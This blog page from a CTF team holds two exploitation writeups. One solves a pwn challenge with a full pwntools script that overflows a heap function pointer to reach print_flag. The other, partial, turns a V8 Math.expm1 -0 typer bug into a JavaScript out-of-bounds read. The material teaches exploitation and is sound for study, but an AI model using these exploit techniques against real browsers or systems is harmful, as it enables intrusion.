Plaid Parliament of Pwning

Accounting Accidents

Wed, 22 Jul 2020 00:00:00 +0000

UIUCTF20 was a really fun Animal Crossing themed CTF that ran from July 17-19 2020. While I have not played the game before, I somewhat knew what it was about from watching Youtubers play it, and also from memes about the turnip stock market.

PPP came in third place, which went above my expectations as most people playing were relatively new and I am quite happy with the results. Now, on to the writeup (which you can also read from the original post)!

Accounting Accidents

You can download the binary here (sha256sum: fcdc3991bed89b8aa5b509c4b6e205967a1e0b9e3fd041547492ebb75202130f). This writeup is targeted at beginners to pwn, where I will explain concepts more thoroughly and avoid making leaps in logic.

I did not look at the flavortext before solving this challenge, taking it as a hint only when I get stuck. I will take a similar approach for this writeup, where we will discover together what the binary is doing.

Let’s first check the security attributes of the binary:

➜  accounting checksec accounting 
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Interesting. It’s unlikely to be a ROP challenge since there is a canary, and NX means no executing shellcode on the stack. Let’s open up the binary in Ghidra and analyse it.

Next run file:

➜  accounting file accounting 
accounting: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=72ded94a52807f73d24ae7c72db8e29099a7bfc3, not stripped

Awesome, it is not stripped. This means that debugging symbols like function names are still left in the binary, which should make reversing it a little easier.

Running

When you run the binary, there is a bunch of text that is printed out character by character. Isabelle then asks us for the name of an item, and then the cost of 4 other items. Afterwards, she puts the item through her accounting software, and outputs the results. It categorizes things into left and right. No idea what that means for now.

[NookAccounting]: Booting up Fancy Laser Accounting Generator (F.L.A.G.) at {0x8048878}
[NookAccounting]: Added "Apples" with cost of 10 bells to accounting spreadsheet.
[NookAccounting]: Added "Fancy Seashells" with cost of 20 bells to accounting spreadsheet.
[NookAccounting]: Added "Tom Nook Shirts" with cost of 30 bells to accounting spreadsheet.
[NookAccounting]: Added "Airplane Ticket" with cost of 40 bells to accounting spreadsheet.
[NookAccounting]: Added "ATM Repairs" with cost of 50 bells to accounting spreadsheet.
[Isabelle]: Oh no! I cant seem to find what this item is, but it cost 25 bells, what is it?
Item: %x %x %x AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
[Isabelle]: Ohmygosh! Thank you for remembering! Now I can get back to work!
[NookAccounting]: Added "%x %x %x AAAAAA" with cost of 25 bells to accounting spreadsheet.

[Isabelle]: Ohmyheck! I dont know how much "Shrub Trimming" costs. Can you tell me?
Shrub Trimming Cost: 1
[NookAccounting]: Added "Shrub Trimming" with cost of 1 bells to accounting spreadsheet.


[Isabelle]: Thank you so much! You're the best, I added it to the accounting system now
[Isabelle]: Ohmyheck! I dont know how much "Raymond Hush $$" costs. Can you tell me?
Raymond Hush $$ Cost: -1
[NookAccounting]: Added "Raymond Hush $$" with cost of -1 bells to accounting spreadsheet.


[Isabelle]: Thank you so much! You're the best, I added it to the accounting system now
[Isabelle]: Ohmyheck! I dont know how much "Town Hall Food" costs. Can you tell me?
Town Hall Food Cost: 0
[NookAccounting]: Added "Town Hall Food" with cost of 0 bells to accounting spreadsheet.


[Isabelle]: Thank you so much! You're the best, I added it to the accounting system now
[Isabelle]: Ohmyheck! I dont know how much "New Wall Art" costs. Can you tell me?
New Wall Art Cost: 1


[Isabelle]: Thank you so much! You're the best, I added it to the accounting system now
[Isabelle]: Okay thank you so much! I'll run the accounting software at address 0x80487a6

===Nook(TM) Accounting Very Large Software V 10.49185.2a===
-=Left=-
Shrub Trimming: 1
Raymond Hush $$: -1
-=Right=-
Airplane Ticket: 40
ATM Repairs: 50
============================================

We get a leak for the .text section (which is honestly pointless since there is no PIE (position independent execution)), and if we look at the source afterwards the address actually corresponds to the print_flag function that basically does what it says. I also tried fuzzing it with large inputs to see if it causes a segfault from buffer overflows, followed by testing “%x” inputs to check for format string vulnerabilies. These are quick and simple ways of testing for any obvious vulnerabilities before diving in to reversing. None of those worked, so let’s get to reversing!

Reversing

Opening the file in Ghidra, we get the following main function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
undefined4 main(void)
{
  undefined4 uVar1;
  int iVar2;
  int in_GS_OFFSET;
  int local_13c;
  int local_138;
  char *local_12c [4];
  char local_11c [8];
  char local_114 [256];
  int local_14;
  undefined *local_10;
  
  local_10 = &stack0x00000004;
  local_14 = *(int *)(in_GS_OFFSET + 0x14);
  printf("[NookAccounting]: Booting up Fancy Laser Accounting Generator (F.L.A.G.) at {%p}\n",
         print_flag);
  uVar1 = insert(0,10,"Apples");
  uVar1 = insert(uVar1,0x14,"Fancy Seashells");
  uVar1 = insert(uVar1,0x1e,"Tom Nook Shirts");
  uVar1 = insert(uVar1,0x28,"Airplane Ticket");
  uVar1 = insert(uVar1,0x32,"ATM Repairs");
  local_13c = insert(uVar1,0x19,0);
  putchar(10);
  local_12c[0] = "Shrub Trimming";
  local_12c[1] = "Raymond Hush $$";
  local_12c[2] = "Town Hall Food";
  local_12c[3] = "New Wall Art";
  local_138 = 0;
  while (local_138 < 4) {
    sprintf(local_114,
            "[Isabelle]: Ohmyheck! I dont know how much \"%s\" costs. Can you tell me?\n%s Cost: ",
            local_12c[local_138],local_12c[local_138]);
    fancy_print(local_114);
    fflush(stdout);
    memset(local_11c,0,8);
    read(0,local_11c,8);
    iVar2 = atoi(local_11c);
    local_13c = insert(local_13c,iVar2,local_12c[local_138]);
    putchar(10);
    fancy_print(
               "\n[Isabelle]: Thank you so much! You\'re the best, I added it to the accountingsystem now\n"
               );
    local_138 = local_138 + 1;
  }
  sprintf(local_114,
          "[Isabelle]: Okay thank you so much! I\'ll run the accounting software at address %p\n",
          *(undefined4 *)(local_13c + 0x20));
  fancy_print(local_114);
  (**(code **)(local_13c + 0x20))(local_13c);
  putchar(10);
  uVar1 = 0;
  if (local_14 != *(int *)(in_GS_OFFSET + 0x14)) {
    uVar1 = __stack_chk_fail_local();
  }
  return uVar1;
}

The print statements pretty up matches to what we saw when running the program. We also see a read in line 37, but it reads in 8 bytes into a buffer of 8 bytes, so there is no overflow for this. fancy_print is what probably prints the buffer character-by-character, so I did not bother reversing it. I thought it was annoying at first, but then I remembered the Animal Crossing theme, so afterwards I thought it was cute.

The most interesting part is in line 50, where we see a function pointer being called: (**(code **)(local_13c + 0x20))(local_13c);. local_13c is probably a struct of some sort, and has a function pointer at offset 0x20. It passes itself as an argument to the function.

Let’s take a look at insert:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int * insert(int *param_1,int param_2,undefined4 param_3)

{
  int iVar1;
  undefined4 uVar2;
  undefined4 uVar3;
  
  __x86.get_pc_thunk.ax();
  if (param_1 == (int *)0x0) {
    param_1 = (int *)newNode(param_2,param_3);
  }
  else {
    if (param_2 < *param_1) {
      iVar1 = insert(param_1[1],param_2,param_3);
      param_1[1] = iVar1;
    }
    else {
      if (param_2 <= *param_1) {
        return param_1;
      }
      iVar1 = insert(param_1[2],param_2,param_3);
      param_1[2] = iVar1;
    }
    uVar2 = height(param_1[2]);
    uVar3 = height(param_1[1]);
    iVar1 = max(uVar3,uVar2);
    param_1[3] = iVar1 + 1;
    iVar1 = getBalance(param_1);
    if ((iVar1 < 2) || (*(int *)param_1[1] <= param_2)) {
      if ((iVar1 < -1) && (*(int *)param_1[2] < param_2)) {
        param_1 = (int *)leftRotate(param_1);
      }
      else {
        if ((iVar1 < 2) || (param_2 <= *(int *)param_1[1])) {
          if ((iVar1 < -1) && (param_2 < *(int *)param_1[2])) {
            iVar1 = rightRotate(param_1[2]);
            param_1[2] = iVar1;
            param_1 = (int *)leftRotate(param_1);
          }
        }
        else {
          iVar1 = leftRotate(param_1[1]);
          param_1[1] = iVar1;
          param_1 = (int *)rightRotate(param_1);
        }
      }
    }
    else {
      param_1 = (int *)rightRotate(param_1);
    }
  }
  return param_1;
}

We see the functions newNode, getBalance, leftRotate, and rightRotate being used. From our foundational CS classes we know that rotations is a term used to describe the process of balancing binary trees, and newNode confirms this suspicion. Furthermore, the left and right we saw previously makes more sense in the context of trees.

Let’s look at newNode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
undefined4 * newNode(undefined4 param_1,char *param_2)

{
  size_t __n;
  undefined4 *puVar1;
  int in_GS_OFFSET;
  char local_110 [256];
  int local_10;
  
  local_10 = *(int *)(in_GS_OFFSET + 0x14);
  puVar1 = (undefined4 *)malloc(0x24);
  *puVar1 = param_1;
  puVar1[1] = 0;
  puVar1[2] = 0;
  puVar1[3] = 1;
  puVar1[8] = 0x80487a6;
  if (param_2 == (char *)0x0) {
    sprintf(local_110,
                        
            "[Isabelle]: Oh no! I cant seem to find what this item is, but it cost %d bells, whatis it?\nItem: "
            ,param_1);
    fancy_print(local_110);
    fflush(stdout);
    memset(puVar1 + 4,0,0x10);
    fgets((char *)(puVar1 + 4),0x15,stdin);
    *(undefined *)((int)puVar1 + 0x1f) = 0;
    fancy_print("[Isabelle]: Ohmygosh! Thank you for remembering! Now I can get back to work!\n");
  }
  else {
    __n = strlen(param_2);
    strncpy((char *)(puVar1 + 4),param_2,__n);
  }
  fflush(stdout);
  printf("[NookAccounting]: Added \"%s\" with cost of %d bells to accounting spreadsheet.\n",
         puVar1 + 4,*puVar1);
  usleep(100000);
  if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
    puVar1 = (undefined4 *)__stack_chk_fail_local();
  }
  return puVar1;
}

We see that puVar is returned from malloc, and afterwards we are setting values to array indices of it. This pattern strongly indicates that puVar1 is a struct with fields which are a multiple of 4 bytes (since Ghidra detected that puVar1 is a undefined4 *), and that we are setting the fields in the struct.

0x80487a6 looks like a pointer. If we go to the address in the disassembly, we end up precisely at the print_edges function, which looks like follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void print_edges(int param_1)

{
  undefined4 *local_10;
  
  puts("\n===Nook(TM) Accounting Very Large Software V 10.49185.2a===");
  local_10 = *(undefined4 **)(param_1 + 4);
  puts("-=Left=-");
  while (local_10 != (undefined4 *)0x0) {
    printf("%s: %d\n",local_10 + 4,*local_10);
    local_10 = (undefined4 *)local_10[1];
  }
  puts("-=Right=-");
  local_10 = *(undefined4 **)(param_1 + 8);
  while (local_10 != (undefined4 *)0x0) {
    printf("%s: %d\n",local_10 + 4,*local_10);
    local_10 = (undefined4 *)local_10[2];
  }
  puts("============================================");
  return;
}

That was what we saw previously at the end when running the program. Also, recall that line 50 in main was calling a function at offset 0x20, while the pointer is being set at offset 8 * 4 = 32 = 0x20 as well, so we can confirm that this function pointer is what is being called at the end. If we could overwrite the function pointer, we have EIP control!

Finding the Vulnerability

Now back to the disassembly of newNode. We see a fgets being performed in line 25. It is writing to puVar1 + 4, and since puVar1 is a pointer to a 4 byte type, this is a 4 * 4 = 16 bytes offset. So we can read up to 0x15 bytes to &puVar[4]. However, we only need 0x10 bytes to reach &puVar[8], and then we have another 5 bytes overflow which is more than enough to overwrite the function pointer!

Now that we have a buffer overflow vulnerability in hand and we can control EIP, let’s see if there are already good existing targets to jump too. We recall that we have the print_flag function to use. Awesome!

Developing the Exploit

We see that the vulnerable code path only gets executed in newNode when param_2 is NULL. If we trace the code from the caller in main, this corresponds to the third argument for insert, and it is only in line 23 of main where it is set to NULL: local_13c = insert(uVar1,0x19,0);. This means we only get to overwrite the function pointer of one node that has the second parameter (which turns out to be the price) as 0x19, or 25.

Also, knowing that the data structure is most likely that of a tree, the disassembly of setting uVar1 again and again makes sense now. uVar1 is basically the root of the tree, and when we insert a node into a tree, we are getting the new root back each time. Then, the function pointer of the last node to be the root is called.

I tried to see if we can get lucky by just exploiting the overflow and seeing if the node that has the overflow ended up as the eventual root, but it did not work, as expected.

I then began annotating the insert function, to try to figure out the structure of the tree and see whether that gives us any insights:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
node * insert(node *node,int price,char *item_name)

{
  node *child_node;
  undefined4 child_node_;
  undefined4 left_height;
  int max_child_height;
  
  __x86.get_pc_thunk.ax();
  if (node == (node *)0x0) {
    node = (node *)newNode(price,item_name);
  }
  else {
    if (price < node->price) {
      child_node = (node *)insert((node *)node->left,price,item_name);
      *(node **)&node->left = child_node;
    }
    else {
                    /* if price == node->price */
      if (price <= node->price) {
        return node;
      }
      child_node_ = insert((node *)node->right,price,item_name);
      node->right = child_node_;
    }
                    /* variable got repurposed here as an int, since they have the same size */
    child_node_ = height(node->right);
    left_height = height(node->left);
    max_child_height = max(left_height,child_node_);
    node->height = max_child_height + 1;
		   /* The register from max_child_height was reused here, so while I wish I could have
		    * been able to rename this to something more appropriate like "height_diff",
		    * I am stuck with this. If anyone knows of a way to rename this in Ghidra
		    * please do let me know in the comments! */
    max_child_height = getBalance(node);
    if ((max_child_height < 2) || (*(int *)node->left <= price)) {
      if ((max_child_height < -1) && (*(int *)node->right < price)) {
        node = (node *)leftRotate(node);
      }
      else {
        if ((max_child_height < 2) || (price <= *(int *)node->left)) {
          if ((max_child_height < -1) && (price < *(int *)node->right)) {
            child_node_ = rightRotate(node->right);
            node->right = child_node_;
            node = (node *)leftRotate(node);
          }
        }
        else {
          child_node_ = leftRotate(node->left);
          node->left = child_node_;
          node = (node *)rightRotate(node);
        }
      }
    }
    else {
      node = (node *)rightRotate(node);
    }
  }
  return node;
}

The tree is being sorted by price. getBalance returns the difference in height between the left and right child. leftRotate and rightRotate was a bit involved and I did not bother reversing them, as it is probably what it says it does.

While doing so, I also reversed the structure of the node, with the offsets and datatypes given below:

The fields are as we would expect.

Possibly an AVL tree?

If we look at the code, we see that a rotation (either left or right) is done when the absolute difference between the heights of the subtrees exceeds 1. This brings back memories from our intro CS class, which introduced the AVL tree that has the property that the “heights of the two child subtrees of any node differ by at most one; if at any time they differ by more than one, rebalancing is done to restore this property”. So we are most likely looking at an AVL tree!

Let’s confirm our suspicions, and see the output of the program when we insert nodes of a particular value. Before we do that, let’s reverse print_edges so we know what exactly is being printed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void print_edges(node *node)
{
  node *n;
  
  puts("\n===Nook(TM) Accounting Very Large Software V 10.49185.2a===");
  n = (node *)node->left;
  puts("-=Left=-");
  while (n != (node *)0x0) {
    printf("%s: %d\n",n->name,n->price);
    n = (node *)n->left;
  }
  puts("-=Right=-");
  n = (node *)node->right;
  while (n != (node *)0x0) {
    printf("%s: %d\n",n->name,n->price);
    n = (node *)n->right;
  }
  puts("============================================");
  return;
}

So the left section just keeps traversing down and printing the left children, while the right section does the opposite. Cool!

Initially, the program inserts nodes with prices [10, 20, 30, 40, 50, 25] into the tree. Let’s run the program again, and use inputs [1, 2, 3, 4] for the prices, which are inserted after.

1
2
3
4
5
6
7
8
===Nook(TM) Accounting Very Large Software V 10.49185.2a===
-=Left=-
Raymond Hush $$: 2
Shrub Trimming: 1
-=Right=-
Tom Nook Shirts: 30
Airplane Ticket: 40
ATM Repairs: 50

I then inserted the same nodes in order to VisuAlgo (click on the AVL tree button on the header), which is a great website for visualizing algorithms and data structures.

We see that the above picture has 2 and 1 when taking only left subtrees, and 30, 40, and 50 when only taking the right subtrees, just as what was being output by the binary. Nice!

So now, our final challenge is to insert four nodes such that the node with our payload that has value 0x19=25 ends up at the root.

The tree initially before any of our custom nodes are inserted looks like the following:

For 25 to be the root, intuition tells us that we need to make the left part of the tree heavier and eventually force node 25 to bubble up. The way we’ll do this, however, is not so intuitive. We first want to force 25 to make a rotation upwards. This can be done by giving it more children. We insert nodes with values 26 and 27:

“WHATTT?!”, I hear you say. Did we just make things worse, since node 25 is in an even lower position now?

This is the unintuitive part, because what we were really doing is to give some nodes to the right subtree of 20. Now, we insert node 21, which forces the node at 20 to undergo a rotation:

Now we have node 25 at a rather sweet spot. Finally, let’s cause a rotation at 30 by causing one of its child to increase in height. We can grow the height of the subtree rooted at 20 by either adding something less than 10, or something between 21 or 25. Let’s go with adding 22:

We did it!

Full Exploit

The full exploit script is given below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3
from pwn import *

elf = ELF("./accounting")

context.binary = elf
context.terminal = ['kitty', '-e', 'sh', '-c']

if args.REMOTE:
    conn = remote("chal.uiuc.tf", 2001)
else:
    conn = process([elf.path])

def main():
    # Note that each of the recv steps can take a while to run,
    # because of the fancy printing. It is not frozen!
    print(conn.recvuntil("{"))
    leak = conn.recvuntil("}")[:-1]

    # Leak print_flag address
    flag_addr = int(leak, 16)
    print("print_flag address: ", hex(flag_addr))

    # Overflow exploit
    print(conn.recvuntil("Item: "))
    exp = b"A"*0x10
    exp += p32(flag_addr)
    conn.sendline(exp)

    # First price input
    print(conn.recvuntil("Shrub Trimming Cost: "))
    conn.sendline('26')

    # Second price input
    print(conn.recvuntil("Raymond Hush $$ Cost: "))
    conn.sendline('27')

    # Third price input
    print(conn.recvuntil("Town Hall Food Cost: "))
    conn.sendline('21')

    # Last price input
    print(conn.recvuntil("New Wall Art Cost: "))
    conn.sendline('22')
    
    conn.interactive()

if __name__ == "__main__":
    main()

Running the exploit script against the challenge server:

➜  accounting python solve.py REMOTE
[+] Opening connection to chal.uiuc.tf on port 2001: Done
b'[NookAccounting]: Booting up Fancy Laser Accounting Generator (F.L.A.G.) at {'
print_flag address:  0x8048878
b'\n[NookAccounting]: Added "Apples" with cost of 10 bells to accounting spreadsheet.\n[NookAccounting]: Added "Fancy Seashells" with cost of 20 bells to accounting spreadsheet.\n[NookAccounting]: Added "Tom Nook Shirts" with cost of 30 bells to accounting spreadsheet.\n[NookAccounting]: Added "Airplane Ticket" with cost of 40 bells to accounting spreadsheet.\n[NookAccounting]: Added "ATM Repairs" with cost of 50 bells to accounting spreadsheet.\n[Isabelle]: Oh no! I cant seem to find what this item is, but it cost 25 bells, what is it?\nItem: '
b'[Isabelle]: Ohmygosh! Thank you for remembering! Now I can get back to work!\n[NookAccounting]: Added "AAAAAAAAAAAAAAA" with cost of 25 bells to accounting spreadsheet.\n\n[Isabelle]: Ohmyheck! I dont know how much "Shrub Trimming" costs. Can you tell me?\nShrub Trimming Cost: '
b'[NookAccounting]: Added "Shrub Trimming" with cost of 26 bells to accounting spreadsheet.\n\n\n[Isabelle]: Thank you so much! You\'re the best, I added it to the accounting system now\n[Isabelle]: Ohmyheck! I dont know how much "Raymond Hush $$" costs. Can you tell me?\nRaymond Hush $$ Cost: '
b'[NookAccounting]: Added "Raymond Hush $$" with cost of 27 bells to accounting spreadsheet.\n\n\n[Isabelle]: Thank you so much! You\'re the best, I added it to the accounting system now\n[Isabelle]: Ohmyheck! I dont know how much "Town Hall Food" costs. Can you tell me?\nTown Hall Food Cost: '
b'[NookAccounting]: Added "Town Hall Food" with cost of 21 bells to accounting spreadsheet.\n\n\n[Isabelle]: Thank you so much! You\'re the best, I added it to the accounting system now\n[Isabelle]: Ohmyheck! I dont know how much "New Wall Art" costs. Can you tell me?\nNew Wall Art Cost: '
[*] Switching to interactive mode
[NookAccounting]: Added "New Wall Art" with cost of 22 bells to accounting spreadsheet.


[Isabelle]: Thank you so much! You're the best, I added it to the accounting system now
[Isabelle]: Okay thank you so much! I'll run the accounting software at address 0x8048878
uiuctf{1s@beLl3_do3sNt_r3@l1y_d0_MuCh_!n_aCnH}

And just like that we get our flag!

Flavortext

Isabelle is working on billing sheets for the end of the month, and she needs to move things into her Accounting Very Large accounting system. Can you help her finish her billing?!

Back and Blogier than Ever!

Sat, 06 Apr 2019 00:00:00 +0000

To celebrate the 10th anniversary of PPP, and the 9th ever PlaidCTF, we’re happy to announce a new official website and blog. In addition to hosting information about the team — such as sponsors, events, and updates — we will begin migrating our published write-ups from our github repository to this blog.

Krautflare

Wed, 02 Jan 2019 00:00:00 +0000

This is a write-up for krautflare challenge, a browser pwnable challenge from 35c3ctf. You can also read from the original post.

In this challenge, we had to obtain remote code execution, simply by exploiting a 1-day bug that forgot the difference between -0 and +0. This has probably been one of the most difficult, fun, and frustrating bugs I have ever exploited.

As someone who has never exploited a JavaScript engine vulnerability ever before, this challenge was a journey, filled with tons of ups and downs. I had an approximate idea of what might be involved, since I had recently started looking into Chrome V8 to try to find some 0-day vulnerabilities (and I succeeded! more on this in a future blog post), but I had never actually written an exploit ever, so I thought this challenge (which involves writing a 1-day exploit) might be an interesting one to solve, which will help me understand v8 internals much better too.

Some quick stats: 35C3 CTF lasted a total of 48 hours, and this challenge had a total of 3 solves by the end of the CTF. The challenge was thus worth (due to dynamic scoring) 451 points. I spent practically the entire CTF on this challenge (minus a couple of hours of sleep), and solved it ~1.5 hours before the CTF ended.

I have split this writeup into multiple sections. Depending on your level of experience with v8 and this challenge, please feel free to jump ahead (or directly read the annotated exploit code here).

The Challenge

The challenge had the following description:

Krautflare workers are the newest breakthrough in serverless computing. And since we’re taking security very seriously, we’re even isolating customer workloads from each other!

For our demo, we added an ancient v8 vulnerability to show that it’s un-exploitable! See https://bugs.chromium.org/p/project-zero/issues/detail?id=1710 for details. Fortunately, that was the last vulnerability in v8 and our product will be secure from now on.

Files at https://35c3ctf.ccc.ac/uploads/krautflare-33ce1021f2353607a9d4cc0af02b0b28.tar. Challenge at: nc 35.246.172.142 1

Note: This challenge is hard! It’s made for all the people who asked for a hard Chrome pwnable in this survey at https://twitter.com/_tsuro/status/1057676059586560000. Though the bug linked above gives you a rough walkthrough how to exploit it, you’ll just have to figure out the details. I hope you paid attention in your compiler lectures :). Good luck, you have been warned!

In case the challenge files are taken down, you can find a copy of the provided challenge files here.

Understanding the Bug

The explanation of the bug on the project zero link is useful. It tells us that the “typer” (which is a part of the v8 JIT) misses the case of -0 when using Math.expm1. If we look at MDN for this function, we see that the functions returns e^x - 1. Since we are working with JavaScript, all numbers are double precision floating point numbers, following the IEEE 754 standard. Within this, there exist two zeros (known as Signed Zeros): +0 and -0. Both act almost exactly the same, except under very specific circumstances. Math.expm1 is one of them. In particular, Math.expm1(+0) == +0 and Math.expm1(-0) == -0. This operation seems to be performed correctly by v8, however, the typer (which is used to perform optimizations) seems to forget this -0 case.

The project zero link lists a simple test case that we can use to quickly verify if the provided d8 binary (which is a standalone executable, which can be used for v8), has the bug. Unfortunately, the bug is not triggered. We’ll explore this soon.

We also have a better look around everything else that is provided to us, and while most of it is boilerplate code, it is important to note that the d8 binary provided to us is a release binary, and that will make it difficult to easily to develop an exploit. Thankfully, we are provided a build_v8.sh script, which we can modify and build our own debug version (by simply changing x64.release to x64.debug and running it).

For most of the exploitation from this point forward, I used this newly built debug build, switching back once in a while to check if what I have works as expected even on the release build.

For more background on understanding JIT bugs, especially if you are not used to v8 or other JS engines, I would strongly recommend looking at the Blackhat 2018 talk by Samuel Groß (@5aelo) titled “Attacking Client-Side JIT Compilers”.

For more background on the v8 JIT (aka TurboFan), I would recommend reading its docs.

Approximate Plan of Attack

As explained on the project zero link, we will need to use Object.is to differentiate between -0 and +0 once we have triggered the bug. Neither division, nor Math.atan2 are going to be useful for us. In addition to this, we need to prevent the bug from being triggered in two phases of the compiler pipeline, and then have it triggered in the third phase. In particular, we need to get past the “typer” and “load elimination” phases, and we need to trigger the bug in the “simplified lowering” phase.

Once we have surpassed these issues, we need to ensure that the Object.is becomes into a SameValue node, instead of a ObjectIsMinusZero node, in addition to making sure that the value passed into this comes from a Call node, rather than a FloatExpm1 node.

Once we have surpassed these issues, the (wrong) type can be used to perform a bounds check elimination. This means that a CheckBounds node that exists before an array access would be removed, and we obtain an Out-of-Bounds Read/Write (OOB RW) primitive. Following this, we use it to obtain an Arbitrary Read/Write (Arb RW) primitive, and some “good” memory leaks, which we can then use to somehow manipulate memory and give us a shell.

As for how the somehow would work: in the past, attacking JavaScript Engines was much easier, since they used to have RWX pages, used for JITed functions, where once we had arbitrary read write, we could’ve simply thrown in our shellcode into a JITed function and then called it. Nowadays, we don’t have RWX pages, so we’ll need to come up with a way around it.

Setting up Debugging

In order to aid debugging, as mentioned in the previous section, we build a debug build of d8. In addition to this, we also use Turbolizer which will help us visualize the “sea of nodes” graphs that v8 produces during optimization.

For debugging during exploit development, I will also be using gdb with peda (mostly for its telescope command), but with some modifications. These modifications make it easier to work with pointers in v8, which are “tagged pointers” where their least significant bit is set. Since we know that pointers are not used directly but offset by 1, the modifications that I introduced into peda check and reset the least significant bit, before being used for further work in the telescope command.

Another last important debug technique, before we get to triggering the bug is v8 natives syntax. These are functions that begin with %, and the two important ones we’ll be using are %OptimizeFunctionOnNextCall and %DebugPrint, both of which do exactly what they say they do.

Triggering the Bug

Now with all the important basics out of the way, how do we trigger this bug?

The answer lies in the patch files that are provided to us. In particular revert-bugfix-880207.patch shows that rather than reverting both the changes in operation-typer.cc and typer.cc, only the changes in typer.cc have been reverted. However, along with this, quite helpfully, a regression unit test has also been reverted. We can use this unit test.

Side note: The chromium bug tracker link which is linked from the project zero link was not accessible during most of the CTF, and was derestricted (if I remember correctly) closer to the second day of the CTF. It confirms that the bug was fixed in two parts (see Comment #8), and here, only the second part is reverted for this challenge.

Back to triggering the bug. We use the provided regression test to first check if the provided d8 and debug d8 actually work on this test. We don’t want to depend on mjsunit.js. So, we remove the fluff that isn’t “standard” JS or an optimization native, and check, if we can trigger it. Fortunately, we can, with the following code:

function f(x) {
  return Object.is(Math.expm1(x), -0);
}

function g() {
  return f(-0);
}

f(0);
// Compile function optimistically for numbers (with fast inlined
// path for Math.expm1).
%OptimizeFunctionOnNextCall(f);
// Invalidate the optimistic assumption, deopting and marking non-number
// input feedback in the call IC.
f("0");
// Optimize again, now with non-lowered call to Math.expm1.
console.log(g());
%OptimizeFunctionOnNextCall(g);
console.log(g()); // returns: false. expected: true.

Using Turbolizer (described in the previous section), we can now start to work on triggering this bug at the correct phase (“simplified lowering”).

Noticing that the phase that lies between “load elimination” (where we do not want the bug to be triggered yet) and “simplified lowering” (where we want bug to be triggered) phases, there lies the “escape analysis” phase. Clearly, we need to perform some manipulations at this phase in order to “hide” the bug from the optimizer before, and then “reveal” after.

There’s a great talk by Tobias Ebbi titled “Escape Analysis in v8”, that was super useful in understanding the complexities involved in escape analysis. Thankfully, we don’t need to worry about most of it. We can simply use the intuition that if an object does not escape, and this is “easy” for v8 to prove, then it will convert the object’s members into local variables instead.

With this idea in mind, I tried to mess around with objects until I was able to get something to work, which would not trigger on the first two relevant phases, and would trigger on the 3rd. Unfortunately, I wasted a bunch of time due to not being able to see feedback types from simplified lowering in Turbolizer. If someone has a good way to have these show up, please do let me know :) However, I finally started to use the --trace-representation flag (thereby my whole d8 command was ./d8 --allow-natives-syntax --trace-representation --trace-turbo-graph --trace-turbo-path /tmp/out --trace-turbo) which allowed me to see feedback types at the terminal. Using these, I could now figure out whether I was triggering the bug at the right point, and turns out I had figured it out a while ago: it just wasn’t showing up in Turbolizer (since that was showing types, and not the feedback types, which “simplified lowering” uses).

The final code used for triggering the bug, exactly in the phase we wanted (with a minor change to force it to be an integer, which will be useful in the next stages of writing this exploit):

function _auxiliary_(x) {
	var a = {zz : Math.expm1(x), yy : -0};
	a.yy = Object.is(a.zz, a.yy);
	return a.yy;
}

function trigger() {
	var a = { z : 1.2 };
	a.z = _auxiliary_(-0);
	return (a.z + 0); // Real: 1, Feedback type: Range(0, 0)
}

_auxiliary_(0);
%OptimizeFunctionOnNextCall(_auxiliary_);
_auxiliary_("0");

trigger();
%OptimizeFunctionOnNextCall(trigger);
trigger();

Escalating to an OOB RW

Once we have the bug triggering as expected, we have to now start to abuse this. The plan was to add an array of floats, and use this mismatched value in order to have the value at some x which is outside the array, but have the optimizer think that we are indexing from 0. This way, the optimizer would eliminate the CheckBounds node, and we’ll have an OOB RW primitive.

Unfortunately, this is easier said than done. Due to the nature of this bug, and the method I was using to ensure it stays a Call node, the “inlining” phase (in particular, JSNativeContextSpecialization which runs during that phase) splits the CheckBounds node into CheckBounds and NumberLessThan nodes. The “real” length check now happens at the NumberLessThan, and unfortunately, the “simplified lowering” phase does not propagate feedback types along NumberLessThan nodes.

This had me stumped for a while, and I kept trying various different alternative ways of calling things, and also read through a lot of the v8 code base, trying to understand how to prevent this from happening.

I finally stumbled upon this (basically, it required having both functions take and pass the same arguments):

function _auxiliary_(minusZero, isstring) {
	let aux_x = minusZero ? -0 : (isstring ? "0" : 0);
	let aux_a = {aux_z : Math.expm1(aux_x), aux_y : -0};
	aux_a.aux_y = Object.is(aux_a.aux_z, aux_a.aux_y);
	return aux_a.aux_y;
}

function trigger(minusZero, isstring) {
	let a = { z : 1.2 };
	a.z = _auxiliary_(minusZero, isstring);
	let i = a.z + 0; // Real: 1, Feedback type: Range(0, 0)
	i &= 1;		 // feedback: 0
	i *= 6;		 // feedback: 0

	let arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
	return arr[i];
}

console.log(trigger(false, false));
	%OptimizeFunctionOnNextCall(trigger);
console.log(trigger(false, true));
	%OptimizeFunctionOnNextCall(trigger);
console.log(trigger(true));

I don’t think I have ever been this happy to see a number as large as -1.1885946300594787e+148 in my life :D

